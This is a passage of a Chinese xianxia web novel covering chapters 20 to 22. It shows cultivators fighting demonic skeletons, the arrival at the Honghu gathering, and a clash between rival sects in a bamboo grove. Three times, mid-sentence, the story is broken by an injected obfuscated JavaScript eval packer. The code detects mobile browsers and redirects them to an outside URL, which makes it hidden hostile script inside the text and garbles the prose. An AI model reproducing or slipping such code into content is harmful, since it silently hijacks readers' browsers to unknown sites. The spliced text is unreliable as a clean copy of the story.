那一寸却足以让两人双双避开,只见那偷袭者又是一具白骨,只不过这具较之其他三具更为矮小纤细,不过和人平齐。 谢济微旋身之时长剑横斩,将白骨的一侧手臂砍落;而宫止水连退数步,顷刻弯弓搭箭,一箭射出,箭矢穿过它的肩膀,冲击力之大,拖着它一路撞到了墙壁上。 三人离她们不近,而刚才的异常又太微弱,自然没有发现,见状都纷纷松了口气,只觉得刚好差那么一点。 只是这一下三人未免分心了,竟然让白骨占了上风。叶杀挥刀抵住白骨,只觉得白骨身上似乎有某种阴冷蚀骨的怪力,不断地往身体里钻,想要吞噬她的灵力。倘若放开来打,这些白骨都不是她的对手,但她需防着这种阴毒气息,还需护着身后的叶扶双,不免束手束脚。 然而就在这一击之后,她却觉得手上一轻,只见面前白骨一顿,随后突然从头开始塌缩,瞬间就消失在了原地。她抬头一看,只见江谈决面前的白骨也是如此,就连钉在墙上的白骨也化为粉末,只剩傅寒川面前的白骨还留在原地。 她心道不好,叫道:“小心!”却已经迟了,只见傅寒川身前的白骨骤然膨大了几倍,修为在一瞬间竟然突破了大乘,达到了半步渡劫之境!随后它低头,怒吼一声,巨大的手掌向傅寒川拍去! 与此同时,黑色的雾气从白骨身体中疯狂涌出,将傅寒川围在中间,挡住了众人的视线。 谢济微神情骤变,抢到黑雾前面,长剑凄厉哀鸣,竟在黑雾上划出了一道缺口。如果被人看到,必然震惊非常,因为她不过金丹修为,却能伤到已至半步渡劫的雾气。 然而此时众人的目光都放在黑雾中央,只见江谈决在叶杀出声之前便已冲向傅寒川身边,此刻也被黑雾完全覆盖。 下一秒,黑雾中红光一闪,只听一人闷哼一声,随后雾气渐渐散去了。 众人定睛一看,只见江谈决一掌拍在白骨身上,掌间金光闪烁,一道阵法爬满了它的全身;而白骨的手掌距离傅寒川的头顶不过一尺之遥,却硬生生地停在了原地;傅寒川剑势未收,从它的腰间一斩而过。 它的上下半身已经分离,却还停滞在原地。片刻之后阵法消失,它便倒下来,轰然一声,倒在了地上。 傅寒川闪身避开,神色却不见放松,他扶住江谈决,道:“师叔,静心凝神,将魔气排出。” ——只见江谈决的肩上赫然出现了一个血洞,血洞之内,黑色的雾气隐约浮现,正不断向他身体里钻去。 20. 盈之 原来方才江谈决运转阵法、控制住白骨时,那具被钉在墙上的矮小白骨却悄然来到他身后。当时他若是躲避,那么阵法必然失效,只能生生挨下这一击。 虽然矮小白骨很快就被傅寒川除掉,留下的魔气还是飞快侵蚀着他的身体,他肩上的伤对于大乘期修士而言根本不足一提,此刻却迟迟不见修复。 他脸上毫无血色,闭目打坐,灵力运转扑杀魔气,片刻后终于吐出一大口黑红色的血,睁开了眼。 他肩上的血洞终于开始以肉眼可见的速度愈合,见状谢济微终于松了口气,刚才危急之间她甚至要克制不住喊一声“师叔”,幸好最后忍住了。 傅寒川用灵力探查一圈他的身体后,紧蹙的眉头稍微松开,道:“师叔,方才情况虽然危急,我却还是能应付过来,你又为何要以身犯险?” 江谈决苦笑道:“自从济微死后,我便常常悔恨,没有照顾好她,愧对你师父的嘱托。方才你虽能应付,却势必要受伤。如今池诸山两代之中,只剩你我二人,我大限将至,修为不见突破,恐怕很快就要去往归墟,而你还年轻,大有可为,池诸山和仙盟,乃至整个修真界的未来,都将落于你身上。况且邪魔未除,前路不明,因此你万万不能受伤,而我……也不想再看见小辈在我面前受伤了。” 他话音落下,谢济微和傅寒川的神色都犹为动容。半晌后傅寒川道:“我明白了。不过你身上的伤不容小觑,还需回仙盟让医修查看,以免落下病根。” 一旁的叶杀只是静静听着,忽然道:“路上可能还会有邪魔偷袭,我可以送他回去。正好我也有事想问他。” 傅寒川道:“这样也好。师叔,你意下如何?” 江谈决笑道:“那便先谢过道友了。” 于是几人就此分别,叶杀带着叶扶双、江谈决去往仙盟,而傅寒川带着谢济微和宫止水继续前往鸿鹄会。 离开密境之后,叶杀便将长刀放大,打横悬浮在地上,让叶扶双和江谈决站上去,随后自己也跳上去,催动长刀,风驰电掣般朝着仙盟而去。 江谈决坐在刀尾,神色还有些虚弱,而她盘腿坐在刀柄旁,让叶扶双枕在自己腿上,心想:“现在仔细想来,师父一事还是疑点重重。如果他是楼主,又怎舍得舍命救扶双?江谈决的话只能半信,真正如何,还要我亲自看到才算数。” 她摸了摸叶扶双的头发,传音道:“趁这次机会,我们将此事彻底了结,便再也不问世事,归隐山林。” 叶扶双睁开眼,看着她熟悉温柔的眉眼,心道:“我的修为在慢慢恢复,到时无论发生什么,也能帮上忙,不至于无能为力。”于是他回道:“好,都听你的。我会一直陪在你身边。” 叶杀一笑,没有再说话,视线移到闭目养神的江谈决身上,又看向周边飞快倒退的景色,神色一点点陷入沉思。 另一边,谢济微、傅寒川和宫止水三人却没再遇到意外,一路顺利地来到鸿鹄会之外。鸿鹄会虽是修真界大会,却不在修真界地盘上举行,而是在凡间一处地界上。 鸿鹄会的举办者华岐仙君财力浑厚,以一人之力买下了方圆百里的土地,在此地上建立府邸,广收弟子,因此也在这里举办鸿鹄会。他仙逝之后,曾有人建议改到仙盟处举办,却被华岐仙君的遗孀以实现仙君遗愿为由拒绝了。 三人之前一直在云间穿梭,所见之处皆不过白茫茫一片,如今终于看到不一样的景色,不由眼前一亮。 只见面前亭台楼阁错落有致,城府建筑高大恢弘,往来行人熙熙攘攘,一片热闹之景。而百尺之上,有精密玄奥的阵法凭空展开,将方圆百里都覆盖在内。 仔细看去,那阵法不仅有御魔之效,还隐隐有几分肃杀之气,如果有人从上方御器飞过,恐怕立刻就要被击落下来。 三人在阵法前面停下来,还未落地,便见一人从城门内大步走出,面上虽强装镇定,却还是藏不住几分惊喜之色:“盟主亲至,未能远迎,真是失敬。” 城门正有修士递上请帖,等待登记名册后进城,闻言纷纷向三人看去,待看到傅寒川时,不禁低声惊呼,但随即便觉得不妥,连忙住声,很快城外一片寂静,只剩几个粗神经的修士小声道:“戮恶仙君也来了?华岐仙君好大的面子!” “他都死了那么久了,盟主肯定是看在他弟子凝玉仙君的份上才来的。”“难道不是因为华岐夫人么?”“华岐夫人不过一介凡人,哪能请得动他?”“他身后那两人是谁?似乎并非池诸山弟子……” 那几人声音虽极力压低,在场修士却都不是泛泛之辈,自然都听到了。傅寒川面色不变,刚刚出城迎上来的那人脸上却不禁有些自得。 他是华岐仙君的大弟子,也是方才那几人口中的凝玉仙君。华岐仙君死后,便由他和华岐夫人一起打点府邸,这次鸿鹄会,也是由他一手筹办。 鸿鹄会发出去的请帖署了华岐夫人和几位弟子的名字,其中修为最高、名声最响的,便是他了,而正如先前那人所言,华岐夫人并非修士,和傅寒川毫无交集,那么能请动傅寒川的,便只有他了。 思及此处,他内心欣喜非常,面上却愈发谦逊,侧身作了个“请”的手势,道:“三位道友,请随我来。” 鸿鹄会不日就要开始,除去闭关、有要务在身,或者镇守防御大阵无法脱身的修士外,接到请帖的修士几乎都到场了。这其中固然有华岐仙君留下的典籍为因,却也有赖于凝玉仙君。他为人圆滑变通、八面玲珑,在修真界交游广泛,许多人都愿意卖他一个面子。 眼下他看出谢济微和宫止水并非池诸山弟子,因为池诸山一行人早在几日前抵达,并告知他门下弟子已经尽数到齐。而傅寒川在破厄仙君还在时就毫无收徒之意,现在更不会有,这两人也不可能是他新收的徒弟。 至于其他的可能,他却是一开始便排除在外了。只因破厄仙君出事之后,傅寒川担任仙盟盟主,大权在握,想讨好他的人不计其数,可池诸山乃天下第一大宗,金银财宝、灵丹妙药自然是不缺的,修行秘籍更是浩如烟海。于是有人另辟蹊径,想送美人给傅寒川,却都被赶了出来。 一开始还有人不死心,男女老少美丑都试了一遍,还是没有成功,反而被狠狠教训了一番。长久以来,修真界便知傅寒川心如铁石,不动如山,无论怎样的人,都无法得到他的青睐。 因此这两人的身份便格外奇特,非亲非故,竟能让傅寒川亲自带来赴会,毕竟他身为池诸山掌门,却只是让长老领着弟子前来。 不过凝玉仙君心中虽然好奇,却知此时并不是探究的好机会,还可能引起傅寒川不快,便压下疑虑,先带三人离开此地。 四人一路上经过诸多亭台楼阁、假山美景,曲水流觞,宛若天上仙境。凝玉仙君一边走,一边介绍,言语间颇为自豪满意。 他虽热情澎湃,傅寒川却似乎听得兴致缺缺,只是偶尔回应几句,反而是身后的谢济微听得饶有兴致,时不时和身边的宫止水聊上几句。 凝玉仙君也不以为意,正好几人经过了一方湖水,他继续道:“这湖乃是由先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15313367|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师亲手砌成。当年这里还不过是一片平地,先师练剑时,练到酣畅之际,剑意受天地感应,自然而出,便形成了这一方湖泊。湖心灵力汇聚,不亚于洞天福地。若能在其上打坐修炼,可谓事半功倍。” 众人视线落在湖面上,只见湖面波光粼粼,有灵药植株从湖底生长,探出水面摇曳生姿。仔细一看,其中还有不少珍奇灵植,果然如他所言,是一处风水宝地,只是此时却空无一人。 凝玉仙君见几人都看向湖面,不禁心中高兴。修士对于这种地方向来分外关注,即使是大乘修士也不例外,因此他特意找了条路,专门介绍这湖。 他补充道:“这湖虽好,却不能久待。只因在这里吸收灵力的速度太快了,许多修士都无法将吸收的灵力及时转换为自身修为,时间一长,便会爆体而亡,所以我们只开放一段时间供府中弟子修炼。在鸿鹄会结束之前,前来赴会的修士也可以凭请帖来这里修炼。” 他一顿,语气忽而变得神秘:“除此之外,这湖还有延年益寿之效,于凡人也大有好处。先师仙逝之前,曾叮嘱我们这湖乃天道所赐,一定要保护好这湖,不可使其枯竭,否则会有大难发生。” 傅寒川余光中瞥见谢济微停下脚步,眺望湖面,忽而问道:“我听闻华岐夫人与华岐仙君已相伴近百年,却像修士一样不见衰老,可是因为这湖的缘故?” 他难得对一件事感兴趣,凝玉仙君却为难道:“我们也有猜想,或许是这方天赐之湖,才能使师娘以凡人之身,拥有和修士一样的寿命。然而事实如何,先师却并未告诉过我们,只有他和师娘知晓其中玄机。” 傅寒川略一点头,没有再问了。凝玉仙君暗中松了一口气,连忙岔开话题。 不久几人来到一处分岔口,以此为界,后面的建筑忽而变得高大宏伟起来。凝玉仙君停住脚步,道:“鸿鹄会为各位修士都准备了休憩之处,接下来我带几位前去,不知两位道友是否与盟主一处?” 傅寒川还没回答,谢济微却抢先道:“我们之前遇上邪魔,多亏盟主出手相助,一路上才平安无事。现在既已到达,便不再劳盟主烦心了。” 原来这两人和盟主毫无关系,是萍水相逢。凝玉仙君看向傅寒川,见他没有反驳,于是招来一旁的弟子,让他为两人引路,一路往西边走,而他自己还是带着傅寒川,继续往深处去了。 于是几人就此分别,这新来的弟子不如凝玉仙君善谈,只是将谢济微和宫止水带到一处小院,便匆匆离开了。 谢济微站在院门口,粗略看了几眼。这小院地处清幽,由半人高的栅栏围成,院外竹林青翠,间或有流水潺潺,院内一棵大树下有几张石桌,栅栏开口处青砖一路通往小屋的门口,屋内影影绰绰摆了几张椅子和床。 虽不像之前所见的那些宅邸一样高大豪华,却也别有一番雅致。谢济微正欲进院,忽而听到不远处一阵喧嚣,一人大声道:“原来是薛道友!真是久仰大名,如雷贯耳!” 他话音刚落,四周便哄笑一声,有人道:“说什么狗屁!要不是请帖上有‘青溟山’三字,我都忘了还有这门派。” 又有人笑道:“几百年前就快灭门啦!现在也只能派那么点人来。我要是他们掌门,便不会让他们来丢这个脸……” 一片嘲弄声中忽而有一个清脆的声音道:“青溟山如何,也不会沦落到与偷盗不得,便强夺别人宝物的宗门一个地步。” 谢济微只觉得这个声音颇为熟悉,仔细一回想,却像是她重生之初便见过的青溟山弟子,薛盈之。 21. 花想容 “休要血口喷人!那宝物分明是我们卯淄山的,却被小人偷走,师祖不过想要讨回来,却反被杀害。”一人冷冷道。 薛盈之沉声道:“照你的说法,反倒是青溟山有错在先了?” 那人冷笑一声:“我可没这么说。是非与否,自在人心,若不是你们祖上作孽太多,青溟山也不会衰败上百年之久,那么多年来在修真界销声匿迹。” “好一个是非与否自在人心!”薛盈之道,她的语气虽然平稳,却隐隐有愤怒之意:“当年卯淄山不仅抢夺宝物,还派人攻上青溟山,滥杀无辜。幸好苍天有眼,让青溟山得破厄仙君相助,逃过一劫。那一战卯淄山死伤惨重,本以为足够给你们教训了,你们却不知悔改,还想倒打一耙。” 她一说完,四周安静了片刻,忽而先前那人大笑道:“你说这话,不觉得荒谬吗?当时破厄仙君不过元婴,如何伤得了师祖?纵然她天赋再高,也绝无可能以元婴修为胜过化神修士。你也没见过当时的情景,恐怕只是你们掌门编出来的话术,好让你们心安理得吧?”其他人也跟着笑起来。 “你们——”薛盈之气急,却不知如何反驳。诚然,在青溟山灭门之危时,她甚至还没有出生,全凭掌门借此往事告诫弟子。而元婴和化神看似只差一个境界,实际上却天差地别,有许多修士穷尽一生,也无法凝练出神魂,只能止步于元婴。 若是其他人告诉她元婴修士可以杀死化神修士,她也必然觉得毫无可能。然而一个是她的师父,一个是活在各种传说中的破厄仙君,她自然深信不疑。 谢济微听到这里,心道:“盈之是碰上卯淄山的弟子了。当年我经过青溟山时,正好赶上卯淄山派人血洗青溟山。我虽不知这两宗有什么过节,却不忍几个半大的小孩惨死,便出手相助,后来才知道他们是为了抢夺‘肉生骨’。经此一役,双方元气大伤,倒也没再起过冲突。不过现在看来,都还记着当年的仇。这也算得上血海深仇了,待会恐怕会动起手来。” 想到这里,她便让宫止水先进小院,自己则穿过竹林,朝着声音处走去,渐渐看到一群人的身影,约莫有十几人,而对面只站着一人,正是薛盈之。 为首一人双手抱臂,神情不屑:“照我说,你识相点现在滚出去,还能饶你一命,否则别怪我们不客气了。” 他说话时谢济微“咔嚓”踩到几条枯枝,薛盈之看过来,见她身形虽然有点熟悉,面相却十分陌生,又看向面前那人,道:“你要如何?” 那人哈哈一笑:“当然是打得你屁滚尿流,只能夹着尾巴逃跑!” 薛盈之寒声道:“大言不惭。谁打谁,还不一定!” 她话音刚落,掌间便已灵光闪烁,只见地面上以她双足为圆心,繁复的法阵一层层向外扩张。 那人看她不愿屈服,也不意外,道:“未免你说我们以多胜少,章师弟,你来会一会薛道友。” 他身后一人应声而出,拔出长剑,灵力激荡,将竹叶震得纷纷飘落。 薛盈之聚精会神地看着站出来的人,只见他长剑斜指地下,却没有动作,只是任凭竹叶轻轻落在自己的肩头。 薛盈之也没有动,看着几片竹叶从空中悠悠落下,即将碰到她时,忽然察觉到不对——这几片竹叶下落的速度太快了,几乎是刚从竹竿上脱落,就来到了她的身边。 那一瞬她脚下的法阵变换,一道土墙平地拔起,围在了她的身边。但还是晚了一步,只见一片竹叶擦过她的手臂,划破了衣裳,割出一道深可见骨的血口。 下一刻,她周围漫无目的飘扬的竹叶齐齐转向,从四面八方向她急射而来! 薛盈之急催阵法,土墙顿时厚了几层,然而那些竹叶异常锋利,土墙只是让它们稍微停滞一下,随即便将墙壁切得四分五裂,继续向她冲过来。 离得那么近,她甚至可以听到竹叶飞速旋转、切割空气的声音,要是被它打中了,势必要被割下一块肉下来。然而她脸上毫无惧色,在分崩离析的土墙下双手结阵,脚下法阵登时变成红色,一圈火环浮现在她手边,随后迅速扩大,向外荡去。 只见法阵之内、火环所及之处,竹叶尽数燃起,不过片刻,便焦黑一片,跌落在地上,法阵之外,无数竹叶仍然盘旋在空中,却无法再进一步。 那章姓修士见一击不成,脸色一沉,手一松,长剑脱手而出,直直向薛盈之面门冲去。随后他的手上出现两把长剑,一左一右向薛盈之的两边围过去。三把飞剑既出,他却没有停歇,又如法炮制,再放出几把剑,向薛盈之身后绕去。 十几把剑锋锐异常,剑上灵力浑厚,破开薛盈之身周的防御阵法,剑尖直指薛盈之,将她的身周退路全部都封锁住,避无可避。 谢济微暗暗点头:“这修士应当是器修,这一手御物之术,还算不错。” 这些剑不畏火,火阵没有任何作用,薛盈之又变阵,这次只见金光一闪,她的身周出现了一圈金环,飞剑剑尖碰到金环时,却没有发出碰撞声,而是“陷”进了金环中。 那金环宛如融化般展开,像液体一样将飞剑从剑尖包裹到剑柄,封在了金环之中。 器修连忙催动飞剑,却发现飞剑只是动了一下,随即他和剑之间的联系逐渐减弱,最后甚至感应不到它们的存在。他又惊又怒,神色大变。他身后那一群人本以为他很快便能打败薛盈之,此刻却连武器也被人控制住,不禁面面相觑。 其他人不明所以,谢济微却看出来,薛盈之使的是“融金”之阵。飞剑由精铁锻造,水火不侵,薛盈之便召出融化的金环,那金环一碰到飞剑,就顺势流淌在剑身上,再一冷却,便和飞剑凝固在一起了。 谢济微心中赞赏,忽而瞥见那群人中有一人神情古怪,似乎极为不忿,袖中暗芒一闪。谢济微心道:“不好!”她左右一看,看到竹叶还飘在器修身边,其上还附着他的灵力,于是心中一动,指尖轻点,快速结了一个阵。 只见竹林之内大风骤起,将竹叶打着卷吹向器修身后。他身后那群人知道竹叶的厉害,纷纷惊慌闪避,叫道:“章齐!快把它们停下来!” 章齐急得满头大汗,想把竹叶召回来,却发现那风着实古怪,竟控制不住它们的方向,只好匆匆将上面的灵力都收回来。 然而他还是迟了一步,那竹叶追着众人东奔西窜,在他们脸上留下左一道、右一道划痕,这伤不算什么,却十足滑稽狼狈。 薛盈之见到方才还趾高气昂的人现在抱头鼠窜,忍不住一笑。这风自然不是卯淄山的人放出来的,那么便只能是一旁旁观的谢济微了。 她虽然不认识她的脸,却不由得心生好感,想转过头去看她,想到被人看见,或许会给她带来麻烦,便忍住了。正在这时,她忽而看见一个绿色的影子从人群中穿过,向她急掠而来! 她连忙拔剑一挡,“当”的一声那东西掉在地上,她一看,只见那是一枚小巧的袖箭,泛着绿色的光泽,显然涂上了剧毒无比的药物。 她心中一寒,知道若不是方才那风令章齐分心,自己在对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15344901|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战时,恐怕发现不了这个暗器,此刻便已中了这毒。 她上前几步,单脚踩住那枚袖箭,冷冷道:“原来这便是卯淄山的行事风格,打不过就偷袭,真是一脉相承。” 先前卯淄山为首那人神色微变,已然认出这是何人的暗器。不过此时已经无暇去追究那人,也无法去想这风从何而来,因为薛盈之只要将此事一说出去,卯淄山的名声便会大大有损,加之鸿鹄会内宗门众多,只怕不过半日,便会传遍大半个修真界,到时宗门长老知晓,势必要狠狠罚他一顿。 想到这里,他目露凶光,缓缓拔剑,剑上灵力四溢。章齐修为和她相近,这人却比章齐还要强上几分。 薛盈之呼吸一滞,背上冷汗悄然滑落,却没有退缩之意。 正当剑拔弩张、一触即发时,不远处忽然有人道:“诸位且慢。” 众人纷纷转头看去,只见两人一前一后从竹林外走过来。 后面那人神色冷淡,视线从众人身上一一扫过,他的眼神落在谁身上,那人便觉得胸口一滞,提起来的灵力尽数散去。前面那人一身缟素,面上似有哀意。 刚刚出声劝阻的正是前面那人,仔细一看,她身上却毫无修为。 众人心中一凛,认出来后面那人是华岐仙君的二弟子濯玉仙君,而前面那人正是华岐夫人崔容。 崔容道:“诸位为何在鸿鹄会之前大打出手?可是华岐府中招待不周?” 她的语气平淡,没有诘问之意,然而她身后的濯玉仙君气势迫人,将众人的气焰都压低了。 半晌后卯淄山为首那人道:“鸿鹄会待客周到,只是我们两宗有世仇,不得不报。” 崔容道:“是什么样的仇,让你们即使大敌当前,也要自相残杀?” 那人语塞道:“这……” 崔容不等他说完,便道:“如今邪魔环伺,虎视眈眈,修士更需团结一心,抵御外敌。若有什么仇恨,也可暂且按下,待诛灭邪魔,再一一对质。况且世间恩怨情仇,往往阴差阳错,不如放下偏见好好谈谈,有什么误会也好解开,莫等人死后,再来后悔。” 说到最后,她脸上哀恸更甚,似乎想起了亡夫,令人一看,也不由得为之触动。 那人讪讪道:“夫人教训的是。我们确实冲动了,不该在此大动干戈。”说罢他转向薛盈之,恳切道:“薛道友,我们便依夫人的意思,不要再动手罢。” 此人变脸之快、脸皮之厚,实属薛盈之生平见过之最。她脸色不太好看,还不想这么轻易地放过他们,又听那人道:“刚才那枚暗器,确实是我们的不对。赭师弟,还不过来向薛道友赔罪?” 他最后一句话几乎称得上疾言厉色,只见一人抢到薛盈之面前,忽然跪下伏地,对着她重重磕了一个头,大声道:“是我不对!请薛道友原谅!” 薛盈之吓了一跳,连忙躲开。这下她便没法再抓着不放了,崔容不想他们再打,而这人又如此作态,只能道:“快请起。” 她话音落下,那姓赭的修士便将那枚暗器拿起,起身退回了方才叫他出来的那人身后。 崔容点了点头,道:“如此便好。各位莫要再动金戈,否则华岐府就不得不请诸位离去了。” 众人齐齐道:“是。” 说罢她和濯玉仙君转身离去,而卯淄山众人互相看了一眼,崔容本身毫无修为,但碍于华岐府中一众修士都是她亡夫的弟子,听命于她,只能瞪了薛盈之一眼,灰溜溜地走了,只剩薛盈之和谢济微还留在原地。 22. 霜刃 薛盈之看向谢济微,刚才只是粗略看了一眼,现在细看,只觉得她面容虽普通,身形气度却绰约不凡。她还没出声,却听谢济微笑道:“盈之,好久不见。” 薛盈之一愣,正惊讶于她如何知道自己名字,忽而觉得这声音颇为熟悉,再一回想,不久前的往事跃上心头,不禁惊喜道:“阿微!” 谢济微微笑颔首,薛盈之走到她面前,乍一看她的脸和之前大相径庭,然而细看之下,眉宇间还依稀有她原本面貌的影子。 薛盈之高兴道:“刚才多亏有你出手,不然我就要挨上那歹毒的暗器了。”她想起刚才卯淄山的人说的话,连忙道:“刚刚我说的话可没有半分作假,他们心虚不敢承认,但当年确实是破厄仙君出手相助,虽然除了青溟山没有其他人知道……” 她越说越小声,显然也觉得自己没什么说服力,却见谢济微点头道:“我当然相信。” 薛盈之一怔,看她神情并不像是随口一说,又想起她对破厄仙君也是相当尊崇,不禁心中触动,也不再解释,而是问起谢济微如何拿到鸿鹄会的请帖。 谢济微便简略说起武王城发生的几件事。她说得轻描淡写,却仍能听出其中惊险。讲到高芥性情突变、修为大增时,薛盈之不禁屏息敛声,待听到傅寒川及时出现,才松了口气,却又很快皱起眉头。 待谢济微说完,薛盈之沉默半晌,忽然道:“从禁地回到青溟山之后,我一直在试验除魔阵法,发现果真如你所言,原先的阵法功效有限,全凭使用者修为高低,修为越高,威力越大,修为低的修士,用出来便毫无作用,这倒也如其他阵法一般。” 两人此时正一同走出竹林,说到这里时,薛盈之放慢脚步,继续道:“然而经过你那一笔,即使是筑基修士,也能用这阵法使出不小的威力。我虽不能完全参透其中奥妙,却隐隐觉得修改后的最后一笔与前面阵法一脉相承,宛如一气呵成,反而是原先的那一笔略显晦涩,似乎有些突兀。” 她停下来,语气中有不明显的疑惑:“我虽研习法阵已久,却远逊于大能。此阵乃是我于仙盟诛魔殿处学得,由仙盟诸位大能亲自教授,我能察觉出其中的奇怪之处,为何诸位大能却留着它……” 她没有说下去,只见谢济微也停下脚步,侧身看向她。她半身都隐在竹林的阴影下,脸上投落一片阴翳,分明神情相较刚才没有一丝一毫变化,却令薛盈之心中微微一惊。 然而没等谢济微开口,只听两人头上竹叶簌簌响动,一人叫道:“怎么可能!” 两人齐齐抬头看去,只见竹叶中现出一个人的身影,正盘膝坐在竹林之上。他身形并不瘦小,却轻飘飘地落在竹竿上,没有丝毫压弯竹竿。 话音刚落,那人便纵跃下来,站在两人面前。他约莫三四十岁光景,两鬓却已经斑白,双手手背缠满了白布条,一直没入衣袖中。 “除魔阵法乃是破厄仙君生前留下,又经由仙盟多位阵修大能查验过后,才传与各门各派,如何会出现问题?”那人道。 薛盈之不禁暗自心惊,这人恐怕一直在竹林之上,自己却丝毫没有察觉,直到他听到方才的话,才主动现身。 她再仔细看那人,只见他修为虽然莫测,却不像其他大能般,而是披头散发,落拓不羁,颇为面善。再一回想,这人正是池诸山淬刃仙君闫明楼,多年前她前往仙盟时曾与他有一面之缘。 “仙君,可是……”薛盈之犹豫道。 “或许你记错了,”闫明楼道,他面上含笑,语气轻松,却隐隐有不容置疑之意:“阵法繁复,也难免有纰漏。破厄仙君为除魔一事殚精竭虑,死而后已,必不可能在事关修真界存亡的阵法出错。” 他是池诸山弟子,又是破厄仙君的师侄,说出的话自然很有说服力。看他如此笃定,薛盈之也开始怀疑起来,心想:难道我记错了么?也不是没有可能,毕竟阵法没有记载,全凭大能口头相授。况且我能看出来的问题,破厄仙君看不出来么? 眼见她被自己说服了,闫明楼便看向谢济微,神情中却多了些慎重:“方才那一招控风之术,你能再用一遍么?” 闫明楼如今已是洞虚修士,言谈却如此客气,谢济微道:“当然可以。”说罢她双手结阵,平地之上忽起大风,将地上落叶尽数卷起,纷纷扬扬盘旋在三人身侧。 闫明楼抬头看向空中,神色莫测,笑意全无,忽然将双手一上一下掌心相对,在胸口前方转了半圈,只见半空中的落叶仿佛被他所吸引,顷刻间如蛟龙吸水般向他掌中涌来。待双掌之间充满了竹叶之后,他双手向前一推,那团竹叶便直直冲向前去! 然而它只脱离了闫明楼一瞬,便“嘭”一声在空中轰然炸开,只剩落叶残骸飘扬凋落。 闫明楼神情复杂,隔着落叶看着谢济微,却仿佛透过她看见了什么人;而谢济微神色自然,静静地回望。 · “嘭——!” 两人身形交错,在空中交手了一瞬间,便背对背落在了擂台上。 台下众人伸长脖子,只见谢济微手持长剑,剑身灵力渐渐消散,剑尖有鲜血滴落;而闫明楼缠在手上的布条散开,亦有血迹斑斑。 “结束了吗?”“应当是。”“谁赢了?”“应当是闫师兄吧……他在金丹境已久,已经半步踏入元婴境了,而谢师叔离元婴还差不少。”“我看未必。金丹之间并非天差地远,谢师叔不一定打不过闫师兄。不过今天这一场,谢师叔出手似乎颇为凌厉啊……” 众弟子低声讨论时,却见闫明楼脸上逐渐变得惨白,“咚”一声单膝跪在了地上,半晌后才缓了过来,喘息道:“……我输了。” 谢济微转过身来,淡淡道:“承让了。” 这便是胜负已分了。众弟子心中哗然,却碍于台下长老坐镇,不敢声张,只能互相使眼色,来表达自己的震惊之意。 谢济微的视线从闫明楼身上掠过,落在台下一众弟子上,道:“入我池诸山者,皆为宗门弟子,师从何人,莫有不同,亦无尊卑之分。寒川乃由我代师收徒,拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460692|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入封荣仙君门下,倘若对此事有意见,便在比武台上与我一战,不必暗下黑手。” 她向众弟子一一看过去,平日里她待人亲厚,此时却没人敢跟她对视,纷纷低下头。她的视线在最前面的傅寒川身上一顿,他平日心思沉着冷静,此时却直愣愣地看着她,脸上还有几道未消的伤痕。 闫明楼低声道:“……是,谨遵师叔教诲。” 谢济微没有再看他,向台下长老一拱手,便走下台,径直向外走去。傅寒川一顿,连忙站起来,追了过去。 闫明楼看着两人离去的身影,怔然出神,不知过了多久,直到台下空无一人,才惊醒般回过神来,却见不远处站了另外一个人。 “师父,我不明白,为何我先于她入道,修行未有懈怠,却还是输了?”他问那人。 “树欲静而风不止,明楼,修道是为修心,你心不定,又如何能得长进?大道三千,各有自己的造化,你太关注外在,反而忽略了自己的道心。”师父说。 他的话很快消散在空中,而他似懂非懂,遥望着远方青翠的群山,心中未有一刻如此茫然。 · “你这一招,用得很好。倘若师叔在世,应该也会赞叹有加。不知你师承何人?”闫明楼道。 谢济微道:“先师逝世已久了。” 闫明楼叹息一声,喃喃道:“天妒英才。”不知是说她的师父,还是说破厄仙君。 三人一时无话,此时却有另外一人走进竹林,道:“方才我察觉灵力异动,有何异常?” 谢济微转头一看,只见那人却是不久前分别的傅寒川。 闫明楼行礼道:“掌门师叔。”随后便将刚刚自己与薛盈之的对话、和谢济微的交手一一告知。 傅寒川听完之后,向薛盈之问道:“当时情形如何,可否细讲一遍?” 薛盈之犹豫片刻,还是将自己误入禁地、遭遇白骨追杀,经过谢济微修改之后,除魔阵法才能完全诛灭白骨的经过简单概括了一遍。 傅寒川还没说话,却是闫明楼问道:“当时你是如何想到改那最后一笔?” 谢济微道:“我平日于阵法一道也颇有研究,虽不曾在仙盟学过此阵,却也看别人使过。情急之下,忽然福至心灵,便一试,没想到确实有效。” 闫明楼沉吟片刻,道:“我还是觉得阵法没有问题,不过它确实难学,因此才让各门各派挑选弟子前来仙盟,由诸位长老亲自教导。如果你没记错,那就是教的时候出错了。但这也不大可能……” “无论如何,此事还需再三斟酌,事关除魔阵法,不可掉以轻心。鸿鹄会之后,两位可愿随我去仙盟调查?”傅寒川道。 